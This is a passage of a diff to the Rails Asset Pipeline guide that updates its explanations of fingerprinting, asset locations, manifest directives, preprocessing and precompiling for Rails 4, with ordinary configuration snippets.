-1. **Not all caches will reliably cache content where the filename only differs by query parameters**<br />
- [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.
+1. **Not all caches will reliably cache content where the filename only differs by
+query parameters**<br>
+ [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/),
+ "...avoiding a querystring for cacheable resources". He found that in this
+case 5-20% of requests will not be cached. Query strings in particular do not
+work at all with some CDNs for cache invalidation.
-2. **The file name can change between nodes in multi-server environments.**<br />
- The default query string in Rails 2.x is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request.
-3. **Too much cache invalidation**<br />
- When static assets are deployed with each new release of code, the mtime(time of last modification) of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed.
+2. **The file name can change between nodes in multi-server environments.**<br>
+ The default query string in Rails 2.x is based on the modification time of
+the files. When assets are deployed to a cluster, there is no guarantee that the
+timestamps will be the same, resulting in different values being used depending
+on which server handles the request.
-Fingerprinting fixes these problems by avoiding query strings, and by ensuring that filenames are consistent based on their content.
+3. **Too much cache invalidation**<br>
+ When static assets are deployed with each new release of code, the mtime
+(time of last modification) of _all_ these files changes, forcing all remote
+clients to fetch them again, even when the content of those assets has not changed.
-Fingerprinting is enabled by default for production and disabled for all other environments. You can enable or disable it in your configuration through the `config.assets.digest` option.
+Fingerprinting fixes these problems by avoiding query strings, and by ensuring
+that filenames are consistent based on their content.
+
+Fingerprinting is enabled by default for production and disabled for all other
+environments. You can enable or disable it in your configuration through the
+`config.assets.digest` option.
More reading:
* [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html)
-* [Revving Filenames: don’t use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)
+* [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)
How to Use the Asset Pipeline
-----------------------------
-In previous versions of Rails, all assets were located in subdirectories of `public` such as `images`, `javascripts` and `stylesheets`. With the asset pipeline, the preferred location for these assets is now the `app/assets` directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem.
+In previous versions of Rails, all assets were located in subdirectories of
+`public` such as `images`, `javascripts` and `stylesheets`. With the asset
+pipeline, the preferred location for these assets is now the `app/assets`
+directory. Files in this directory are served by the Sprockets middleware.
-Assets can still be placed in the `public` hierarchy. Any assets under `public` will be served as static files by the application or web server. You should use `app/assets` for files that must undergo some pre-processing before they are served.
+Assets can still be placed in the `public` hierarchy. Any assets under `public`
+will be served as static files by the application or web server. You should use
+`app/assets` for files that must undergo some pre-processing before they are
+served.
-In production, Rails precompiles these files to `public/assets` by default. The precompiled copies are then served as static assets by the web server. The files in `app/assets` are never served directly in production.
+In production, Rails precompiles these files to `public/assets` by default. The
+precompiled copies are then served as static assets by the web server. The files
+in `app/assets` are never served directly in production.
### Controller Specific Assets
-When you generate a scaffold or a controller, Rails also generates a JavaScript file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`) for that controller.
-
-For example, if you generate a `ProjectsController`, Rails will also add a new file at `app/assets/javascripts/projects.js.coffee` and another at `app/assets/stylesheets/projects.css.scss`. By default these files will be ready to use by your application immediately using the `require_tree` directive. See [Manifest Files and Directives](#manifest-files-and-directives) for more details on require_tree.
-
-You can also opt to include controller specific stylesheets and JavaScript files only in their respective controllers using the following: `<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag params[:controller] %>`. Ensure that you are not using the `require_tree` directive though, as this will result in your assets being included more than once.
-
-WARNING: When using asset precompilation (the production default), you will need to ensure that your controller assets will be precompiled when loading them on a per page basis. By default .coffee and .scss files will not be precompiled on their own. This will result in false positives during development as these files will work just fine since assets will be compiled on the fly. When running in production however, you will see 500 errors since live compilation is turned off by default. See [Precompiling Assets](#precompiling-assets) for more information on how precompiling works.
-
-NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check [ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all supported JavaScript runtimes.
-
-You can also disable the generation of asset files when generating a controller by adding the following to your `config/application.rb` configuration:
+When you generate a scaffold or a controller, Rails also generates a JavaScript
+file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a
+Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`)
+for that controller. Additionally, when generating a scaffold, Rails generates
+the file scaffolds.css (or scaffolds.css.scss if `sass-rails` is in the
+`Gemfile`.)
+
+For example, if you generate a `ProjectsController`, Rails will also add a new
+file at `app/assets/javascripts/projects.js.coffee` and another at
+`app/assets/stylesheets/projects.css.scss`. By default these files will be ready
+to use by your application immediately using the `require_tree` directive. See
+[Manifest Files and Directives](#manifest-files-and-directives) for more details
+on require_tree.
+
+You can also opt to include controller specific stylesheets and JavaScript files
+only in their respective controllers using the following:
+
+`<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag
+params[:controller] %>`
+
+When doing this, ensure you are not using the `require_tree` directive, as that
+will result in your assets being included more than once.
+
+WARNING: When using asset precompilation, you will need to ensure that your
+controller assets will be precompiled when loading them on a per page basis. By
+default .coffee and .scss files will not be precompiled on their own. This will
+result in false positives during development as these files will work just fine
+since assets are compiled on the fly in development mode. When running in
+production, however, you will see 500 errors since live compilation is turned
+off by default. See [Precompiling Assets](#precompiling-assets) for more
+information on how precompiling works.
+
+NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript.
+If you are using Mac OS X or Windows, you have a JavaScript runtime installed in
+your operating system. Check
+[ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all
+supported JavaScript runtimes.
+
+You can also disable generation of controller specific asset files by adding the
+following to your `config/application.rb` configuration:
```ruby
-config.generators do |g|
- g.assets false
-end
+ config.generators do |g|
+ g.assets false
+ end
```
### Asset Organization
-Pipeline assets can be placed inside an application in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`.
+Pipeline assets can be placed inside an application in one of three locations:
+`app/assets`, `lib/assets` or `vendor/assets`.
+
+* `app/assets` is for assets that are owned by the application, such as custom
+images, JavaScript files or stylesheets.
-* `app/assets` is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets.
+* `lib/assets` is for your own libraries' code that doesn't really fit into the
+scope of the application or those libraries which are shared across applications.
-* `lib/assets` is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications.
+* `vendor/assets` is for assets that are owned by outside entities, such as
+code for JavaScript plugins and CSS frameworks.
-* `vendor/assets` is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks.
+WARNING: If you are upgrading from Rails 3, please take into account that assets
+under `lib/assets` or `vendor/assets` are available for inclusion via the
+application manifests but no longer part of the precompile array. See
+[Precompiling Assets](#precompiling-assets) for guidance.
#### Search Paths
-When a file is referenced from a manifest or a helper, Sprockets searches the three default asset locations for it.
+When a file is referenced from a manifest or a helper, Sprockets searches the
+three default asset locations for it.
-The default locations are: `app/assets/images` and the subdirectories `javascripts` and `stylesheets` in all three asset locations, but these subdirectories are not special. Any path under `assets/*` will be searched.
+The default locations are: the `images`, `javascripts` and `stylesheets`
+directories under the `app/assets` folder, but these subdirectories
+are not special - any path under `assets/*` will be searched.
For example, these files:
@@ -162,72 +278,113 @@ is referenced as:
//= require sub/something
```
-You can view the search path by inspecting `Rails.application.config.assets.paths` in the Rails console.
+You can view the search path by inspecting
+`Rails.application.config.assets.paths` in the Rails console.
-Besides the standard `assets/*` paths, additional (fully qualified) paths can be added to the pipeline in `config/application.rb`. For example:
+Besides the standard `assets/*` paths, additional (fully qualified) paths can be
+added to the pipeline in `config/application.rb`. For example:
```ruby
config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")
```
-Paths are traversed in the order that they occur in the search path. By default, this means the files in `app/assets` take precedence, and will mask corresponding paths in `lib` and `vendor`.
+Paths are traversed in the order they occur in the search path. By default,
+this means the files in `app/assets` take precedence, and will mask
+corresponding paths in `lib` and `vendor`.
-It is important to note that files you want to reference outside a manifest must be added to the precompile array or they will not be available in the production environment.
+It is important to note that files you want to reference outside a manifest must
+be added to the precompile array or they will not be available in the production
+environment.
#### Using Index Files
-Sprockets uses files named `index` (with the relevant extensions) for a special purpose.
+Sprockets uses files named `index` (with the relevant extensions) for a special
+purpose.
-For example, if you have a jQuery library with many modules, which is stored in `lib/assets/library_name`, the file `lib/assets/library_name/index.js` serves as the manifest for all files in this library. This file could include a list of all the required files in order, or a simple `require_tree` directive.
+For example, if you have a jQuery library with many modules, which is stored in
+`lib/assets/javascripts/library_name`, the file `lib/assets/javascripts/library_name/index.js` serves as
+the manifest for all files in this library. This file could include a list of
+all the required files in order, or a simple `require_tree` directive.
-The library as a whole can be accessed in the site's application manifest like so:
+The library as a whole can be accessed in the application manifest like so:
```js
//= require library_name
```
-This simplifies maintenance and keeps things clean by allowing related code to be grouped before inclusion elsewhere.
+This simplifies maintenance and keeps things clean by allowing related code to
+be grouped before inclusion elsewhere.
### Coding Links to Assets
-Sprockets does not add any new methods to access your assets - you still use the familiar `javascript_include_tag` and `stylesheet_link_tag`.
+Sprockets does not add any new methods to access your assets - you still use the
+familiar `javascript_include_tag` and `stylesheet_link_tag`:
```erb
-<%= stylesheet_link_tag "application" %>
+<%= stylesheet_link_tag "application", media: "all" %>
<%= javascript_include_tag "application" %>
```
-In regular views you can access images in the `assets/images` directory like this:
+If using the turbolinks gem, which is included by default in Rails 4, then
+include the 'data-turbolinks-track' option which causes turbolinks to check if
+an asset has been updated and if so loads it into the page:
+
+```erb
+<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => true %>
+<%= javascript_include_tag "application", "data-turbolinks-track" => true %>
+```
+
+In regular views you can access images in the `public/assets/images` directory
+like this:
```erb
<%= image_tag "rails.png" %>
```
-Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at `public/assets/rails.png` it is served by the web server.
+Provided that the pipeline is enabled within your application (and not disabled
+in the current environment context), this file is served by Sprockets. If a file
+exists at `public/assets/rails.png` it is served by the web server.
-Alternatively, a request for a file with an MD5 hash such as `public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same way. How these hashes are generated is covered in the [In Production](#in-production) section later on in this guide.
+Alternatively, a request for a file with an MD5 hash such as
+`public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same
+way. How these hashes are generated is covered in the [In
+Production](#in-production) section later on in this guide.
-Sprockets will also look through the paths specified in `config.assets.paths` which includes the standard application paths and any path added by Rails engines.
+Sprockets will also look through the paths specified in `config.assets.paths`,
+which includes the standard application paths and any paths added by Rails
+engines.
-Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag:
+Images can also be organized into subdirectories if required, and then can be
+accessed by specifying the directory's name in the tag:
```erb
<%= image_tag "icons/rails.png" %>
```
-WARNING: If you're precompiling your assets (see [In Production](#in-production) below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using `image_tag` and the other helpers with user-supplied data.
+WARNING: If you're precompiling your assets (see [In Production](#in-production)
+below), linking to an asset that does not exist will raise an exception in the
+calling page. This includes linking to a blank string. As such, be careful using
+`image_tag` and the other helpers with user-supplied data.
#### CSS and ERB
-The asset pipeline automatically evaluates ERB. This means that if you add an `erb` extension to a CSS asset (for example, `application.css.erb`), then helpers like `asset_path` are available in your CSS rules:
+The asset pipeline automatically evaluates ERB. This means if you add an
+`erb` extension to a CSS asset (for example, `application.css.erb`), then
+helpers like `asset_path` are available in your CSS rules:
```css
.class { background-image: url(<%= asset_path 'image.png' %>) }
```
-This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as `app/assets/images/image.png`, which would be referenced here. If this image is already available in `public/assets` as a fingerprinted file, then that path is referenced.
+This writes the path to the particular asset being referenced. In this example,
+it would make sense to have an image in one of the asset load paths, such as
+`app/assets/images/image.png`, which would be referenced here. If this image is
+already available in `public/assets` as a fingerprinted file, then that path is
+referenced.
-If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) — a method of embedding the image data directly into the CSS file — you can use the `asset_data_uri` helper.
+If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) -
+a method of embedding the image data directly into the CSS file - you can use
+the `asset_data_uri` helper.
```css
#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
@@ -239,29 +396,33 @@ Note that the closing tag cannot be of the style `-%>`.
#### CSS and Sass
-When using the asset pipeline, paths to assets must be re-written and `sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
+When using the asset pipeline, paths to assets must be re-written and
+`sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass,
+underscored in Ruby) for the following asset classes: image, font, video, audio,
+JavaScript and stylesheet.
* `image-url("rails.png")` becomes `url(/assets/rails.png)`
* `image-path("rails.png")` becomes `"/assets/rails.png"`.
-The more generic form can also be used but the asset path and class must both be specified:
+The more generic form can also be used:
-* `asset-url("rails.png", image)` becomes `url(/assets/rails.png)`
-* `asset-path("rails.png", image)` becomes `"/assets/rails.png"`
+* `asset-url("rails.png")` becomes `url(/assets/rails.png)`
+* `asset-path("rails.png")` becomes `"/assets/rails.png"`
#### JavaScript/CoffeeScript and ERB
-If you add an `erb` extension to a JavaScript asset, making it something such as `application.js.erb`, then you can use the `asset_path` helper in your JavaScript code:
+If you add an `erb` extension to a JavaScript asset, making it something such as
+`application.js.erb`, you can then use the `asset_path` helper in your
+JavaScript code:
```js
-$('#logo').attr({
- src: "<%= asset_path('logo.png') %>"
-});
+$('#logo').attr({ src: "<%= asset_path('logo.png') %>" });
```
This writes the path to the particular asset being referenced.
-Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb` extension (e.g., `application.js.coffee.erb`):
+Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb`
+extension (e.g., `application.js.coffee.erb`):
```js
$('#logo').attr src: "<%= asset_path('logo.png') %>"
@@ -269,10 +430,19 @@ $('#logo').attr src: "<%= asset_path('logo.png') %>"
### Manifest Files and Directives
-Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ — instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if `Rails.application.config.assets.compress` is true). By serving one file rather than many, the load time of pages can be greatly reduced because the browser makes fewer requests. Compression also reduces the file size enabling the browser to download it faster.
+Sprockets uses manifest files to determine which assets to include and serve.
+These manifest files contain _directives_ - instructions that tell Sprockets
+which files to require in order to build a single CSS or JavaScript file. With
+these directives, Sprockets loads the files specified, processes them if
+necessary, concatenates them into one single file and then compresses them (if
+`Rails.application.config.assets.compress` is true). By serving one file rather
+than many, the load time of pages can be greatly reduced because the browser
+makes fewer requests. Compression also reduces file size, enabling the
+browser to download them faster.
-For example, a new Rails application includes a default `app/assets/javascripts/application.js` file which contains the following lines:
+For example, a new Rails 4 application includes a default
+`app/assets/javascripts/application.js` file containing the following lines:
```js
// ...
@@ -281,30 +451,64 @@ For example, a new Rails application includes a default `app/assets/javascripts/
//= require_tree .
```
-In JavaScript files, the directives begin with `//=`. In this case, the file is using the `require` and the `require_tree` directives. The `require` directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a `.js` file when done from within a `.js` file.
-
-The `require_tree` directive tells Sprockets to recursively include _all_ JavaScript files in the specified directory into the output. These paths must be specified relative to the manifest file. You can also use the `require_directory` directive which includes all JavaScript files only in the directory specified, without recursion.
+In JavaScript files, Sprockets directives begin with `//=`. In the above case,
+the file is using the `require` and the `require_tree` directives. The `require`
+directive is used to tell Sprockets the files you wish to require. Here, you are
+requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere
+in the search path for Sprockets. You need not supply the extensions explicitly.
+Sprockets assumes you are requiring a `.js` file when done from within a `.js`
+file.
+
+The `require_tree` directive tells Sprockets to recursively include _all_
+JavaScript files in the specified directory into the output. These paths must be
+specified relative to the manifest file. You can also use the
+`require_directory` directive which includes all JavaScript files only in the
+directory specified, without recursion.
+
+Directives are processed top to bottom, but the order in which files are
+included by `require_tree` is unspecified. You should not rely on any particular
+order among those. If you need to ensure some particular JavaScript ends up
+above some other in the concatenated file, require the prerequisite file first
+in the manifest. Note that the family of `require` directives prevents files
+from being included twice in the output.
+
+Rails also creates a default `app/assets/stylesheets/application.css` file
+which contains these lines:
-Directives are processed top to bottom, but the order in which files are included by `require_tree` is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other in the concatenated file, require the prerequisite file first in the manifest. Note that the family of `require` directives prevents files from being included twice in the output.
-
-Rails also creates a default `app/assets/stylesheets/application.css` file which contains these lines:
-
-```js
+```css
/* ...
*= require_self
*= require_tree .
*/
```
-The directives that work in the JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The `require_tree` directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory.
+Rails 4 creates both `app/assets/javascripts/application.js` and
+`app/assets/stylesheets/application.css` regardless of whether the
+--skip-sprockets option is used when creating a new rails application. This is
+so you can easily add asset pipelining later if you like.
-In this example `require_self` is used. This puts the CSS contained within the file (if any) at the precise location of the `require_self` call. If `require_self` is called more than once, only the last call is respected.
+The directives that work in JavaScript files also work in stylesheets
+(though obviously including stylesheets rather than JavaScript files). The
+`require_tree` directive in a CSS manifest works the same way as the JavaScript
+one, requiring all stylesheets from the current directory.
-NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in.
+In this example, `require_self` is used. This puts the CSS contained within the
+file (if any) at the precise location of the `require_self` call. If
+`require_self` is called more than once, only the last call is respected.
-You can have as many manifest files as you need. For example the `admin.css` and `admin.js` manifest could contain the JS and CSS files that are used for the admin section of an application.
+NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import)
+instead of these Sprockets directives. Using Sprockets directives all Sass files exist within
+their own scope, making variables or mixins only available within the document they were defined in.
+You can do file globbing as well using `@import "*"`, and `@import "**/*"` to add the whole tree
+equivalent to how `require_tree` works. Check the [sass-rails documentation](https://github.com/rails/sass-rails#features) for more info and important caveats.
-The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified. For example, you might concatenate three CSS files together this way:
+You can have as many manifest files as you need. For example, the `admin.css`
+and `admin.js` manifest could contain the JS and CSS files that are used for the
+admin section of an application.
+
+The same remarks about ordering made above apply. In particular, you can specify
+individual files and they are compiled in the order specified. For example, you
+might concatenate three CSS files together this way:
```js
/* ...
@@ -314,21 +518,41 @@ The same remarks about ordering made above apply. In particular, you can specify
*/
```
-
### Preprocessing
-The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an `app/assets/javascripts/projects.js.coffee` and an `app/assets/stylesheets/projects.css.scss` file.
-
-When these files are requested, they are processed by the processors provided by the `coffee-script` and `sass` gems and then sent back to the browser as JavaScript and CSS respectively.
+The file extensions used on an asset determine what preprocessing is applied.
+When a controller or a scaffold is generated with the default Rails gemset, a
+CoffeeScript file and a SCSS file are generated in place of a regular JavaScript
+and CSS file. The example used before was a controller called "projects", which
+generated an `app/assets/javascripts/projects.js.coffee` and an
+`app/assets/stylesheets/projects.css.scss` file.
+
+In development mode, or if the asset pipeline is disabled, when these files are
+requested they are processed by the processors provided by the `coffee-script`
+and `sass` gems and then sent back to the browser as JavaScript and CSS
+respectively. When asset pipelining is enabled, these files are preprocessed and
+placed in the `public/assets` directory for serving by either the Rails app or
+web server.
+
+Additional layers of preprocessing can be requested by adding other extensions,
+where each extension is processed in a right-to-left manner. These should be
+used in the order the processing should be applied. For example, a stylesheet
+called `app/assets/stylesheets/projects.css.scss.erb` is first processed as ERB,
+then SCSS, and finally served as CSS. The same applies to a JavaScript file -
+`app/assets/javascripts/projects.js.coffee.erb` is processed as ERB, then
+CoffeeScript, and served as JavaScript.
+
+Keep in mind the order of these preprocessors is important. For example, if
+you called your JavaScript file `app/assets/javascripts/projects.js.erb.coffee`
+then it would be processed with the CoffeeScript interpreter first, which
+wouldn't understand ERB and therefore you would run into problems.
-Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called `app/assets/stylesheets/projects.css.scss.erb` is first processed as ERB, then SCSS, and finally served as CSS. The same applies to a JavaScript file — `app/assets/javascripts/projects.js.coffee.erb` is processed as ERB, then CoffeeScript, and served as JavaScript.
-
-Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file `app/assets/javascripts/projects.js.erb.coffee` then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems.
In Development
--------------
-In development mode, assets are served as separate files in the order they are specified in the manifest file.
+In development mode, assets are served as separate files in the order they are
+specified in the manifest file.
This manifest `app/assets/javascripts/application.js`:
@@ -348,41 +572,66 @@ would generate this HTML:
The `body` param is required by Sprockets.
+### Runtime Error Checking
+
+By default the asset pipeline will check for potential errors in development mode during
+runtime. To disable this behavior you can set:
+
+```ruby
+config.assets.raise_runtime_errors = false
+```
+
+When this option is true asset pipeline will check if all the assets loaded in your application
+are included in the `config.assets.precompile` list.
+
### Turning Debugging Off
-You can turn off debug mode by updating `config/environments/development.rb` to include:
+You can turn off debug mode by updating `config/environments/development.rb` to
+include:
```ruby
config.assets.debug = false
```
-When debug mode is off, Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead:
+When debug mode is off, Sprockets concatenates and runs the necessary
+preprocessors on all files. With debug mode turned off the manifest above would
+generate instead:
```html
<script src="/assets/application.js"></script>
```
-Assets are compiled and cached on the first request after the server is started. Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request overhead on subsequent requests — on these the browser gets a 304 (Not Modified) response.
+Assets are compiled and cached on the first request after the server is started.
+Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request
+overhead on subsequent requests - on these the browser gets a 304 (Not Modified)
+response.
-If any of the files in the manifest have changed between requests, the server responds with a new compiled file.
+If any of the files in the manifest have changed between requests, the server
+responds with a new compiled file.
-Debug mode can also be enabled in the Rails helper methods:
+Debug mode can also be enabled in Rails helper methods:
```erb
<%= stylesheet_link_tag "application", debug: true %>
<%= javascript_include_tag "application", debug: true %>
```
-The `:debug` option is redundant if debug mode is on.
+The `:debug` option is redundant if debug mode is already on.
-You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging.
+You can also enable compression in development mode as a sanity check, and
+disable it on-demand as required for debugging.
In Production
-------------
-In the production environment Rails uses the fingerprinting scheme outlined above. By default Rails assumes that assets have been precompiled and will be served as static assets by your web server.
+In the production environment Sprockets uses the fingerprinting scheme outlined
+above. By default Rails assumes assets have been precompiled and will be
+served as static assets by your web server.
-During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name.
+During the precompilation phase an MD5 is generated from the contents of the
+compiled files, and inserted into the filenames as they are written to disc.
+These fingerprinted names are used by the Rails helpers in place of the manifest
+name.
For example this:
@@ -395,23 +644,34 @@ generates something like this:
```html
<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script>
-<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" />
+<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen"
+rel="stylesheet" />
```
-Note: with the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from the `javascript_include_tag` and `stylesheet_link_tag`.
-
+Note: with the Asset Pipeline the :cache and :concat options aren't used
+anymore, delete these options from the `javascript_include_tag` and
+`stylesheet_link_tag`.
-The fingerprinting behavior is controlled by the setting of `config.assets.digest` setting in Rails (which defaults to `true` for production and `false` for everything else).
+The fingerprinting behavior is controlled by the `config.assets.digest`
+initialization option (which defaults to `true` for production and `false` for
+everything else).
-NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes.
+NOTE: Under normal circumstances the default `config.assets.digest` option
+should not be changed. If there are no digests in the filenames, and far-future
+headers are set, remote clients will never know to refetch the files when their
+content changes.
### Precompiling Assets
-Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk.
+Rails comes bundled with a rake task to compile the asset manifests and other
+files in the pipeline.
-Compiled assets are written to the location specified in `config.assets.prefix`. By default, this is the `public/assets` directory.
+Compiled assets are written to the location specified in `config.assets.prefix`.
+By default, this is the `/assets` directory.
-You can call this task on the server during deployment to create compiled versions of your assets directly on the server. See the next section for information on compiling locally.
+You can call this task on the server during deployment to create compiled
+versions of your assets directly on the server. See the next section for
+information on compiling locally.
The rake task is:
@@ -419,37 +679,47 @@ The rake task is:
$ RAILS_ENV=production bundle exec rake assets:precompile
```
-Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment. Add the following line to `Capfile`:
+Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment.
+Add the following line to `Capfile`:
```ruby
load 'deploy/assets'
```
-This links the folder specified in `config.assets.prefix` to `shared/assets`. If you already use this shared folder you'll need to write your own deployment task.
-
-It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page.
+This links the folder specified in `config.assets.prefix` to `shared/assets`.
+If you already use this shared folder you'll need to write your own deployment
+task.
-NOTE. If you are precompiling your assets locally, you can use `bundle install --without assets` on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile).
+It is important that this folder is shared between deployments so that remotely
+cached pages referencing the old compiled assets still work for the life of
+the cached page.
-The default matcher for compiling files includes `application.js`, `application.css` and all non-JS/CSS files (this will include all image assets automatically):
+The default matcher for compiling files includes `application.js`,
+`application.css` and all non-JS/CSS files (this will include all image assets
+automatically) from `app/assets` folders including your gems:
```ruby
-[ Proc.new { |path| !%w(.js .css).include?(File.extname(path)) }, /application.(css|js)$/ ]
+[ Proc.new { |path, fn| fn =~ /app\/assets/ && !%w(.js .css).include?(File.extname(path)) },
+/application.(css|js)$/ ]
```
-NOTE. The matcher (and other members of the precompile array; see below) is applied to final compiled file names. This means that anything that compiles to JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and `.scss` files are **not** automatically included as they compile to JS/CSS.
+NOTE: The matcher (and other members of the precompile array; see below) is
+applied to final compiled file names. This means anything that compiles to
+JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and
+`.scss` files are **not** automatically included as they compile to JS/CSS.
-If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the `precompile` array in `config/application.rb`:
+If you have other manifests or individual stylesheets and JavaScript files to
+include, you can add them to the `precompile` array in `config/initializers/assets.rb`:
```ruby
-config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
+Rails.application.config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
```
-Or you can opt to precompile all assets with something like this:
+Or, you can opt to precompile all assets with something like this:
```ruby
-# config/application.rb
-config.assets.precompile << Proc.new do |path|
+# config/initializers/assets.rb
+Rails.application.config.assets.precompile << Proc.new do |path|
if path =~ /\.(css|js)\z/
full_path = Rails.application.assets.resolve(path).to_path
app_assets_path = Rails.root.join('app', 'assets').to_path
@@ -466,38 +736,51 @@ config.assets.precompile << Proc.new do |path|
end
```
-NOTE. Always specify an expected compiled filename that ends with js or css, even if you want to add Sass or CoffeeScript files to the precompile array.
+NOTE. Always specify an expected compiled filename that ends with .js or .css,
+even if you want to add Sass or CoffeeScript files to the precompile array.
-The rake task also generates a `manifest.yml` that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like:
+The rake task also generates a `manifest-md5hash.json` that contains a list with
+all your assets and their respective fingerprints. This is used by the Rails
+helper methods to avoid handing the mapping requests back to Sprockets. A
+typical manifest file looks like:
-```yaml
----
-rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png
-jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js
-jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js
-application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js
-application.css: application-8af74128f904600e41a6e39241464e03.css
+```ruby
+{"files":{"application-723d1be6cc741a3aabb1cec24276d681.js":{"logical_path":"application.js","mtime":"2013-07-26T22:55:03-07:00","size":302506,
+"digest":"723d1be6cc741a3aabb1cec24276d681"},"application-12b3c7dd74d2e9df37e7cbb1efa76a6d.css":{"logical_path":"application.css","mtime":"2013-07-26T22:54:54-07:00","size":1560,
+"digest":"12b3c7dd74d2e9df37e7cbb1efa76a6d"},"application-1c5752789588ac18d7e1a50b1f0fd4c2.css":{"logical_path":"application.css","mtime":"2013-07-26T22:56:17-07:00","size":1591,
+"digest":"1c5752789588ac18d7e1a50b1f0fd4c2"},"favicon-a9c641bf2b81f0476e876f7c5e375969.ico":{"logical_path":"favicon.ico","mtime":"2013-07-26T23:00:10-07:00","size":1406,
